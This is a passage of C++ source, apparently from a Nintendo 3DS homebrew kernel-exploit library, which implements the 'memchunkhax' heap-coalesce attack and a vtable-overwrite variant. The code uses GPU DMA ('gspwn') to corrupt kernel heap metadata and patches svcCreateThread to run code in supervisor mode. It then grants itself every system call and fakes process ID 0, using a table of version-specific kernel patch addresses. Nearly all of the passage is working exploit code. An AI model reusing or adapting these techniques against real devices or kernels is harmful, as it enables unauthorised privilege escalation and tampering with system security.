m_overwriteAllocated(0),
m_extraLinear(nullptr)
{
s_instance = this;
}
// Free memory and such.
~MemChunkHax();
// Umm, don't copy this class.
MemChunkHax(const MemChunkHax &) = delete;
MemChunkHax &operator =(const MemChunkHax &) = delete;
// Basic initialization.
Result Step1_Initialize();
// Allocate linear memory for the memchunkhax operation.
Result Step2_AllocateMemory();
// Free the second and fourth pages of the five.
Result Step3_SurroundFree();
// Verify that the freed heap blocks' data matches our expected layout.
Result Step4_VerifyExpectedLayout();
// Corrupt svcCreateThread in the ARM11 kernel and create the foothold.
Result Step5_CorruptCreateThread();
// Execute svcCreateThread to execute code at SVC privilege.
Result Step6_ExecuteSVCCode();
// Grant access to all services.
Result Step7_GrantServiceAccess();
private:
// SVC-mode entry point thunk (true entry point).
static Result Step6a_SVCEntryPointThunk();
// SVC-mode entry point.
Result Step6b_SVCEntryPoint();
// Undo the code patch that Step5_CorruptCreateThread did.
Result Step6c_UndoCreateThreadPatch();
// Fix the heap corruption caused as a side effect of step 5.
Result Step6d_FixHeapCorruption();
// Grant our process access to all system calls, including svcBackdoor.
Result Step6e_GrantSVCAccess();
// Patch the process ID to 0. Runs as svcBackdoor.
static Result Step7a_PatchPID();
// Restore the original PID. Runs as svcBackdoor.
static Result Step7b_UnpatchPID();
// Helper for dumping memory to SD card.
template <std::size_t S>
bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const;
// Result returned by hacked svcCreateThread upon success.
static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE;
// Version information.
const VersionData *const m_versionData;
// Next step number.
int m_nextStep;
// Whether we are in a corrupted state, meaning we cannot continue if an error occurs.
int m_corrupted;
// The linear memory allocated for the memchunkhax overwrite.
struct OverwriteMemory
{
union
{
unsigned char m_bytes[6 * 4096];
Page m_pages[6];
};
};
OverwriteMemory *m_overwriteMemory;
unsigned m_overwriteAllocated;
// Additional linear memory buffer for temporary purposes.
union ExtraLinearMemory
{
ALIGN(64) unsigned char m_bytes[64];
// When interpreting as a HeapFreeBlock.
HeapFreeBlock m_freeBlock;
};
// Must be a multiple of 16 for use with gspwn.
static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes");
ExtraLinearMemory *m_extraLinear;
// Copy of the old ACL
KSVCACL m_oldACL;
// Original process ID.
u32 m_originalPID;
// Buffers for dumped data when debugging.
#ifdef KHAX_DEBUG_DUMP_DATA
unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)];
unsigned char m_savedKThread[sizeof(KThread)];
unsigned char m_savedThreadSVC[0x100];
#endif
// Pointer to our instance.
static MemChunkHax *volatile s_instance;
};
class MemChunkHax2
{
public:
// Construct using the version information for the current system.
MemChunkHax2(const VersionData *versionData)
: m_versionData(versionData),
m_nextStep(1),
m_arbiter(__sync_get_arbiter()),
m_mapAddr(__ctru_heap + __ctru_heap_size),
m_mapSize(PAGE_SIZE * 2),
m_mapResult(-1),
m_isolatedPage(0),
m_isolatingPage(0),
m_kObjHandle(0),
m_kObjAddr(0),
m_backup(NULL),
m_delayThread(0),
m_oldVtable(NULL),
m_kernelResult(-1)
{
s_instance = this;
}
// Free memory and such.
~MemChunkHax2();
// Umm, don't copy this class.
MemChunkHax2(const MemChunkHax2 &) = delete;
MemChunkHax2 &operator =(const MemChunkHax2 &) = delete;
// Basic initialization.
Result Step1_Initialize();
// Isolate a physical memory page.
Result Step2_IsolatePage();
// Overwrite the kernel object's vtable pointer.
Result Step3_OverwriteVtable();
// Grant access to all services.
Result Step4_GrantServiceAccess();
private:
// Thread function to slow down svcControlMemory execution.
static void Step3a_DelayThread(void* arg);
// Thread function to allocate memory pages.
static void Step3b_AllocateThread(void* arg);
// SVC-mode entry point thunk (true entry point).
static void Step3c_SVCEntryPointThunk();
// SVC-mode entry point.
void Step3d_SVCEntryPoint();
// Grant our process access to all system calls, including svcBackdoor.
Result Step3e_GrantSVCAccess();
// Patch the process ID to 0. Runs as svcBackdoor.
static Result Step4a_PatchPID();
// Restore the original PID. Runs as svcBackdoor.
static Result Step4b_UnpatchPID();
// Creates an event and outputs its kernel object address (at ref count, not vtable pointer) from r2.
static Result svcCreateEventKAddr(Handle* event, u8 reset_type, u32* kaddr);
// Index of the destructor in the KEvent vtable.
static constexpr const u32 KEVENT_DESTRUCTOR = 4;
#define CREATE_FORWARD_FUNC(i) \
static void ForwardFunc##i() { \
s_instance->m_oldVtable[i](); \
}
#define REF_FORWARD_FUNC(i) \
ForwardFunc##i
// Having 10 functions is an arbitrary number to make sure there are enough.
CREATE_FORWARD_FUNC(0)
CREATE_FORWARD_FUNC(1)
CREATE_FORWARD_FUNC(2)
CREATE_FORWARD_FUNC(3)
CREATE_FORWARD_FUNC(4)
CREATE_FORWARD_FUNC(5)
CREATE_FORWARD_FUNC(6)
CREATE_FORWARD_FUNC(7)
CREATE_FORWARD_FUNC(8)
CREATE_FORWARD_FUNC(9)
void(*m_vtable[10])() = {
REF_FORWARD_FUNC(0),
REF_FORWARD_FUNC(1),
REF_FORWARD_FUNC(2),
REF_FORWARD_FUNC(3),
Step3c_SVCEntryPointThunk, // Destructor
REF_FORWARD_FUNC(5),
REF_FORWARD_FUNC(6),
REF_FORWARD_FUNC(7),
REF_FORWARD_FUNC(8),
REF_FORWARD_FUNC(9)
};
// Version information.
const VersionData *const m_versionData;
// Next step number.
int m_nextStep;
// Address arbiter handle.
Handle m_arbiter;
// Mapped memory address.
u32 m_mapAddr;
// Mapped memory size.
u32 m_mapSize;
// svcControlMemory result.
Result m_mapResult;
// Isolated page address.
u32 m_isolatedPage;
// Isolating page address.
u32 m_isolatingPage;
// Kernel object handle.
Handle m_kObjHandle;
// Kernel object address.
u32 m_kObjAddr;
// Kernel memory backup.
void* m_backup;
// Thread used to delay memory mapping.
Thread m_delayThread;
// Vtable pointer backup.
void(**m_oldVtable)();
// Value used to test if we gained kernel code execution.
Result m_kernelResult;
// Copy of the old ACL
KSVCACL m_oldACL;
// Original process ID.
u32 m_originalPID;
// Pointer to our instance.
static MemChunkHax2 *volatile s_instance;
};
//------------------------------------------------------------------------------------------------
// Make an error code
inline Result MakeError(Result level, Result summary, Result module, Result error);
enum : Result { KHAX_MODULE = 254 };
// Check whether this system is a New 3DS.
Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0);
// gspwn, meant for reading from or writing to freed buffers.
Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true);
static Result userFlushDataCache(const void *p, std::size_t n);
static Result userInvalidateDataCache(const void *p, std::size_t n);
static void userFlushPrefetch();
static void userDsb();
static void userDmb();
static void kernelCleanDataCacheLineWithMva(const void *p);
static void kernelInvalidateInstructionCacheLineWithMva(const void *p);
// Given a pointer to a structure that is a member of another structure,
// return a pointer to the outer structure. Inspired by Windows macro.
template <typename Outer, typename Inner>
Outer *ContainingRecord(Inner *member, Inner Outer::*field);
}
//------------------------------------------------------------------------------------------------
//
// Class VersionData
//
//------------------------------------------------------------------------------------------------
// Creates a KProcessPointers for this kernel version and pointer to the object.
template <typename KProcessType>
KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess)
{
KProcessType *kproc = static_cast<KProcessType *>(kprocess);
KProcessPointers result;
result.m_svcAccessControl = &kproc->m_svcAccessControl;
result.m_processID = &kproc->m_processID;
result.m_kernelFlags = &kproc->m_kernelFlags;
return result;
}
//------------------------------------------------------------------------------------------------
// System version table
const KHAX::VersionData KHAX::VersionData::s_versionTable[] =
{
#define KPROC_FUNC(ver) MakeKProcessPointers<KProcess_##ver>
// Old 3DS, old address layout
{ false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, 0xFFF00000, KPROC_FUNC(1_0_0_Old) },
{ false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(1_0_0_Old) },
{ false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(1_0_0_Old) },
{ false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(1_0_0_Old) },
{ false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(1_0_0_Old) },
{ false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, 0xFFF00000, KPROC_FUNC(1_0_0_Old) },
{ false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, 0xFFF00000, KPROC_FUNC(1_0_0_Old) },
// Old 3DS, new address layout
{ false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, 0xFFF00000, KPROC_FUNC(8_0_0_Old) },
{ false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(8_0_0_Old) },
// memchunkhax does not apply to these, so patch addresses are set to 0x0.
{ false, SYSTEM_VERSION(2, 48, 3), SYSTEM_VERSION(9, 3, 0), 0x0, 0x0, 0xE0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(8_0_0_Old) },
{ false, SYSTEM_VERSION(2, 49, 0), SYSTEM_VERSION(9, 5, 0), 0x0, 0x0, 0xE0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(8_0_0_Old) },
{ false, SYSTEM_VERSION(2, 50, 1), SYSTEM_VERSION(9, 6, 0), 0x0, 0x0, 0xE0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(8_0_0_Old) },
{ false, SYSTEM_VERSION(2, 50, 7), SYSTEM_VERSION(10, 0, 0), 0x0, 0x0, 0xE0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(8_0_0_Old) },
{ false, SYSTEM_VERSION(2, 50, 9), SYSTEM_VERSION(10, 2, 0), 0x0, 0x0, 0xE0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(8_0_0_Old) },
// New 3DS
{ true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, 0xFFF70000, KPROC_FUNC(8_0_0_New) }, // untested
{ true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, 0xFFF70000, KPROC_FUNC(8_0_0_New) },
// memchunkhax does not apply to these, so patch addresses are set to 0x0.
{ true, SYSTEM_VERSION(2, 48, 3), SYSTEM_VERSION(9, 3, 0), 0x0, 0x0, 0xE0000000, 0x10000000, 0xFFF70000, KPROC_FUNC(8_0_0_New) },
{ true, SYSTEM_VERSION(2, 49, 0), SYSTEM_VERSION(9, 5, 0), 0x0, 0x0, 0xE0000000, 0x10000000, 0xFFF70000, KPROC_FUNC(8_0_0_New) },
{ true, SYSTEM_VERSION(2, 50, 1), SYSTEM_VERSION(9, 6, 0), 0x0, 0x0, 0xE0000000, 0x10000000, 0xFFF70000, KPROC_FUNC(8_0_0_New) },
{ true, SYSTEM_VERSION(2, 50, 7), SYSTEM_VERSION(10, 0, 0), 0x0, 0x0, 0xE0000000, 0x10000000, 0xFFF70000, KPROC_FUNC(8_0_0_New) },
{ true, SYSTEM_VERSION(2, 50, 9), SYSTEM_VERSION(10, 2, 0), 0x0, 0x0, 0xE0000000, 0x10000000, 0xFFF70000, KPROC_FUNC(8_0_0_New) },
#undef KPROC_FUNC
};
//------------------------------------------------------------------------------------------------
// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual
// address using the version-specific information in this table entry.
void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const
{
static_assert((std::numeric_limits<std::uintptr_t>::max)() == (std::numeric_limits<u32>::max)(),
"you're sure that this is a 3DS?");
// Convert the address to a physical address, since that's how we know the mapping.
u32 physical = osConvertVirtToPhys(address);
if (physical == 0)
{
return nullptr;
}
// Verify that the address is within FCRAM.
if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize))
{
return nullptr;
}
// Now we can convert.
return reinterpret_cast<char *>(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress);
}
//------------------------------------------------------------------------------------------------
// Retrieve a VersionData for this kernel, or null if not recognized.
const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem()
{
// Get kernel version for comparison.
u32 kernelVersion = osGetKernelVersion();
// Determine whether this is a New 3DS.
bool isNew3DS;
if (IsNew3DS(&isNew3DS, kernelVersion) != 0)
{
return nullptr;
}
// Search our list for a match.
for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry)
{
// New 3DS flag must match.
if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS))
{
continue;
}
// Kernel version must match.
if (entry->m_kernelVersion != kernelVersion)
{
continue;
}
return entry;
}
return nullptr;
}
//------------------------------------------------------------------------------------------------
//
// Class MemChunkHax
//
//------------------------------------------------------------------------------------------------
KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr;
//------------------------------------------------------------------------------------------------
// Basic initialization.
Result KHAX::MemChunkHax::Step1_Initialize()
{
if (m_nextStep != 1)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
// Nothing to do in current implementation.
++m_nextStep;
return 0;
}
//------------------------------------------------------------------------------------------------
// Allocate linear memory for the memchunkhax operation.
Result KHAX::MemChunkHax::Step2_AllocateMemory()
{
if (m_nextStep != 2)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
// Allocate the linear memory for the overwrite process.
u32 address = 0xFFFFFFFF;
Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR,
static_cast<MemPerm>(MEMPERM_READ | MEMPERM_WRITE));
KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address);
if (result != 0)
{
return result;
}
m_overwriteMemory = reinterpret_cast<OverwriteMemory *>(address);
m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now
// Why didn't we get a page-aligned address?!
if (address & 0xFFF)
{
// Since we already assigned m_overwriteMemory, it'll get freed by our destructor.
KHAX_printf("Step2:misaligned memory\n");
return MakeError(26, 7, KHAX_MODULE, 1009);
}
// Allocate extra memory that we'll need.
m_extraLinear = static_cast<ExtraLinearMemory *>(linearMemAlign(sizeof(*m_extraLinear),
alignof(*m_extraLinear)));
if (!m_extraLinear)
{
KHAX_printf("Step2:failed extra alloc\n");
return MakeError(26, 3, KHAX_MODULE, 1011);
}
KHAX_printf("Step2:extra=%p\n", m_extraLinear);
// OK, we're good here.
++m_nextStep;
return 0;
}
//------------------------------------------------------------------------------------------------
// Free the second and fourth pages of the five.
Result KHAX::MemChunkHax::Step3_SurroundFree()
{
if (m_nextStep != 3)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
// We do this because the exploit involves triggering a heap coalesce. We surround a heap
// block (page) with two freed pages, then free the middle page. By controlling both outside
// pages, we know their addresses, and can fix up the corrupted heap afterward.
//
// Here's what the heap will look like after step 3:
//
// ___XX-X-X___
//
// _ = unknown (could be allocated and owned by other code)
// X = allocated
// - = allocated then freed by us
//
// In step 4, we will free the second page:
//
// ___X--X-X___
//
// Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's
// "previous" pointer will be set to point to the second page rather than the third. We will
// use gspwn to make that overwrite kernel code instead.
//
// We have 6 pages to ensure that we have surrounding allocated pages, giving us a little
// sandbox to play in. In particular, we can use this design to determine the address of the
// next block--by controlling the location of the next block.
u32 dummy;
// Free the third page.
if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[2]), 0,
sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast<MemPerm>(0)))
{
KHAX_printf("Step3:svcCM1 failed:%08lx\n", result);
return result;
}
m_overwriteAllocated &= ~(1u << 2);
// Free the fifth page.
if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[4]), 0,
sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast<MemPerm>(0)))
{
KHAX_printf("Step3:svcCM2 failed:%08lx\n", result);
return result;
}
m_overwriteAllocated &= ~(1u << 4);
// Attempt to write to remaining pages.
//KHAX_printf("Step2:probing page [0]\n");
*static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0;
//KHAX_printf("Step2:probing page [1]\n");
*static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0;
//KHAX_printf("Step2:probing page [3]\n");
*static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0;
//KHAX_printf("Step2:probing page [5]\n");
*static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0;
KHAX_printf("Step3:probing done\n");
// Done.
++m_nextStep;
return 0;
}
//------------------------------------------------------------------------------------------------
// Verify that the freed heap blocks' data matches our expected layout.
Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout()
{
if (m_nextStep != 4)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
// Copy the first freed page (third page) out to read its heap metadata.
userInvalidateDataCache(m_extraLinear, sizeof(*m_extraLinear));
userDmb();
if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2],
sizeof(*m_extraLinear)))
{
KHAX_printf("Step4:gspwn failed:%08lx\n", result);
return result;
}
// Debug information about the memory block
KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData->
ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]));
KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,
m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);
// The next page from the third should equal the fifth page.
if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA(
&m_overwriteMemory->m_pages[4]))
{
KHAX_printf("Step4:[2]->next != [4]\n");
KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next,
m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]),
&m_overwriteMemory->m_pages[4]);
return MakeError(26, 5, KHAX_MODULE, 1014);
}
// Copy the second freed page (fifth page) out to read its heap metadata.
userInvalidateDataCache(m_extraLinear, sizeof(*m_extraLinear));
userDmb();
if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4],
sizeof(*m_extraLinear)))
{
KHAX_printf("Step4:gspwn failed:%08lx\n", result);
return result;
}
KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData->
ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]));
KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,
m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);
// The previous page from the fifth should equal the third page.
if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA(
&m_overwriteMemory->m_pages[2]))
{
KHAX_printf("Step4:[4]->prev != [2]\n");
KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev,
m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]),
&m_overwriteMemory->m_pages[2]);
return MakeError(26, 5, KHAX_MODULE, 1014);
}
// Validation successful
++m_nextStep;
return 0;
}
//------------------------------------------------------------------------------------------------
// Corrupt svcCreateThread in the ARM11 kernel and create the foothold.
Result KHAX::MemChunkHax::Step5_CorruptCreateThread()
{
if (m_nextStep != 5)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
userInvalidateDataCache(m_extraLinear, sizeof(*m_extraLinear));
userDmb();
// Read the memory page we're going to gspwn.
if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock,
sizeof(*m_extraLinear)))
{
KHAX_printf("Step5:gspwn read failed:%08lx\n", result);
return result;
}
// Adjust the "next" pointer to point to within the svcCreateThread system call so as to
// corrupt certain instructions. The result will be that calling svcCreateThread will result
// in executing our code.
// NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev.
// That is, the overwrite adds this offset back in.
m_extraLinear->m_freeBlock.m_next = reinterpret_cast<HeapFreeBlock *>(
m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev));
userFlushDataCache(&m_extraLinear->m_freeBlock.m_next,
sizeof(m_extraLinear->m_freeBlock.m_next));
// Do the GSPwn, the actual exploit we've been waiting for.
if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear,
sizeof(*m_extraLinear)))
{
KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result);
return result;
}
// The heap is now corrupted in two ways (Step6 explains why two ways).
m_corrupted += 2;
KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n");
// Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third
// page into the second page, and in the process zap an instruction pair in svcCreateThread.
u32 dummy;
if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[1]),
0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast<MemPerm>(0)))
{
KHAX_printf("Step5:free to pwn failed:%08lx\n", result);
return result;
}
m_overwriteAllocated &= ~(1u << 1);
userFlushPrefetch();
// We have an additional layer of instability because of the kernel code overwrite.
++m_corrupted;
KHAX_printf("Step5:svcCreateThread now hacked\n");
++m_nextStep;
return 0;
}
//------------------------------------------------------------------------------------------------
// Execute svcCreateThread to execute code at SVC privilege.
Result KHAX::MemChunkHax::Step6_ExecuteSVCCode()
{
if (m_nextStep != 6)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
// Call svcCreateThread such that r0 is the desired exploit function. Note that the
// parameters to the usual system call thunk are rearranged relative to the actual system call
// - the thread priority parameter is actually the one that goes into r0. In addition, we
// want to pass other parameters that make for an illegal thread creation request, because the
// rest of the thread creation SVC occurs before the hacked code gets executed. We want the
// thread creation request to fail, then the hack to grant us control. Processor ID
// 0x7FFFFFFF seems to do the trick here.
Handle dummyHandle;
Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast<s32>(
Step6a_SVCEntryPointThunk), (std::numeric_limits<s32>::max)());
KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep);
if (result != STEP6_SUCCESS_RESULT)
{
// If the result was 0, something actually went wrong.
if (result == 0)
{
result = MakeError(27, 11, KHAX_MODULE, 1023);
}
return result;
}
#ifdef KHAX_DEBUG
char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1];
char *sp = oldACLString;
for (unsigned char b : m_oldACL)
{
*sp++ = "0123456789abcdef"[b >> 4];
*sp++ = "0123456789abcdef"[b & 15];
}
*sp = '\0';
KHAX_printf("oldACL:%s\n", oldACLString);
#endif
++m_nextStep;
return 0;
}
//------------------------------------------------------------------------------------------------
// SVC-mode entry point thunk (true entry point).
KHAX_ATTRIBUTE(__attribute__((__naked__)))
Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk()
{
__asm__ volatile("cpsid aif\n"
"add sp, sp, #8\n");
register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint();
__asm__ volatile("ldr pc, [sp], #4" : : "r"(result));
}
//------------------------------------------------------------------------------------------------
// SVC-mode entry point.
KHAX_ATTRIBUTE(__attribute__((__noinline__)))
Result KHAX::MemChunkHax::Step6b_SVCEntryPoint()
{
if (Result result = Step6c_UndoCreateThreadPatch())
{
return result;
}
if (Result result = Step6d_FixHeapCorruption())
{
return result;
}
if (Result result = Step6e_GrantSVCAccess())
{
return result;
}
return STEP6_SUCCESS_RESULT;
}
//------------------------------------------------------------------------------------------------
// Undo the code patch that Step5_CorruptCreateThread did.
Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch()
{
// Unpatch svcCreateThread. NOTE: Misaligned pointer.
*reinterpret_cast<u32 *>(m_versionData->m_threadPatchAddress) = m_versionData->
m_threadPatchOriginalCode;
kernelCleanDataCacheLineWithMva(
reinterpret_cast<void *>(m_versionData->m_threadPatchAddress));
userDsb();
kernelInvalidateInstructionCacheLineWithMva(
reinterpret_cast<void *>(m_versionData->m_threadPatchAddress));
--m_corrupted;
return 0;
}
//------------------------------------------------------------------------------------------------
// Fix the heap corruption caused as a side effect of step 5.
Result KHAX::MemChunkHax::Step6d_FixHeapCorruption()
{
// The kernel's heap coalesce code seems to be like the following for the case we triggered,
// where we're freeing a block before ("left") an adjacent block ("right"):
//
// (1) left->m_count += right->m_count;
// (2) left->m_next = right->m_next;
// (3) right->m_next->m_prev = left;
//
// (1) should have happened normally. (3) is what we exploit: we set right->m_next to point
// to where we want to patch, such that the write to m_prev is the desired code overwrite.
// (2) is copying the value we put into right->m_next to accomplish (3).
//
// As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to
// point to the correct next free block, and do the write to right->m_next->m_prev that didn't
// happen because it instead was writing to kernel code.
// "left" is the second overwrite page.
auto left = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(
&m_overwriteMemory->m_pages[1].m_freeBlock));
// "right->m_next" is the fifth overwrite page.
auto rightNext = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(
&m_overwriteMemory->m_pages[4].m_freeBlock));
// Do the two fixups.
left->m_next = rightNext;
--m_corrupted;
rightNext->m_prev = left;
--m_corrupted;
return 0;
}
//------------------------------------------------------------------------------------------------
// Grant our process access to all system calls, including svcBackdoor.
Result KHAX::MemChunkHax::Step6e_GrantSVCAccess()
{
// Everything, except nonexistent services 00, 7E or 7F.
static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F";
// Get the KThread pointer. Its type doesn't vary, so far.
KThread *kthread = *m_versionData->m_currentKThreadPtr;
// Debug dumping.
#ifdef KHAX_DEBUG_DUMP_DATA
// Get the KProcess pointer, whose type varies by kernel version.
void *kprocess = *m_versionData->m_currentKProcessPtr;
void *svcData = reinterpret_cast<void *>(reinterpret_cast<std::uintptr_t>(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF));
std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess));
std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread));
std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC));
#endif
// Get a pointer to the SVC ACL within the SVC area for the thread.
SVCThreadArea *svcThreadArea = ContainingRecord<SVCThreadArea>(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState);
KSVCACL &threadACL = svcThreadArea->m_svcAccessControl;
// Save the old one for diagnostic purposes.
std::memcpy(m_oldACL, threadACL, sizeof(threadACL));
// Set the ACL for the current thread.
std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL));
return 0;
}
//------------------------------------------------------------------------------------------------
// Grant access to all services.
Result KHAX::MemChunkHax::Step7_GrantServiceAccess()
{
if (m_nextStep != 7)
{
KHAX_printf("MemChunkHax: Invalid step number %d Step7_GrantServiceAccess\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
// Backup the original PID.
Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle);
if (result != 0)
{
KHAX_printf("Step7:GetPID1 fail:%08lx\n", result);
return result;
}
KHAX_printf("Step7:current pid=%lu\n", m_originalPID);
// Patch the PID to 0, granting access to all services.
svcBackdoor(Step7a_PatchPID);
// Check whether PID patching succeeded.
u32 newPID;
result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);
if (result != 0)
{
// Attempt patching back anyway, for stability reasons.
svcBackdoor(Step7b_UnpatchPID);
KHAX_printf("Step7:GetPID2 fail:%08lx\n", result);
return result;
}
if (newPID != 0)
{
KHAX_printf("Step7:nonzero:%lu\n", newPID);
return MakeError(27, 11, KHAX_MODULE, 1023);
}
// Reinit ctrulib's srv connection to gain access to all services.
srvExit();
srvInit();
// Restore the original PID now that srv has been tricked into thinking that we're PID 0.
svcBackdoor(Step7b_UnpatchPID);
// Check whether PID restoring succeeded.
result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);
if (result != 0)
{
KHAX_printf("Step7:GetPID3 fail:%08lx\n", result);
return result;
}
